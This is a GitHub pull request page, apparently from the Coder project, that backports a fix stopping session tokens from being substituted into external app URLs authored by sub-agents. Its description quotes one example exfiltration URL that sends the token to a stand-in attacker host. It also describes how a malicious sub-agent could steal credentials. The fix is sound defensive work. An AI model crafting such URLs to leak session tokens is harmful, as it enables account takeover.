fix: prevent session token exfiltration via external app URLs (#26146) - #26303
Conversation
`coder open app` substituted the user's session token into any external workspace-app URL containing `$SESSION_TOKEN` before opening, letting a malicious sub-agent exfiltrate the token via a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Substitution is now restricted to URLs from top-level (template-authored) agents. Sub-agent URLs that still contain `$SESSION_TOKEN` are printed for the user to inspect and substitute manually rather than opened automatically. Sub-agent URLs without the placeholder are unaffected. (cherry picked from commit 9b550cb)
Documentation CheckUpdates Needed
Automated review via Coder Tasks |
Backport of #26146
Original PR: #26146 — fix: prevent session token exfiltration via external app URLs
Merge commit: 9b550cb
Requested by: @f0ssel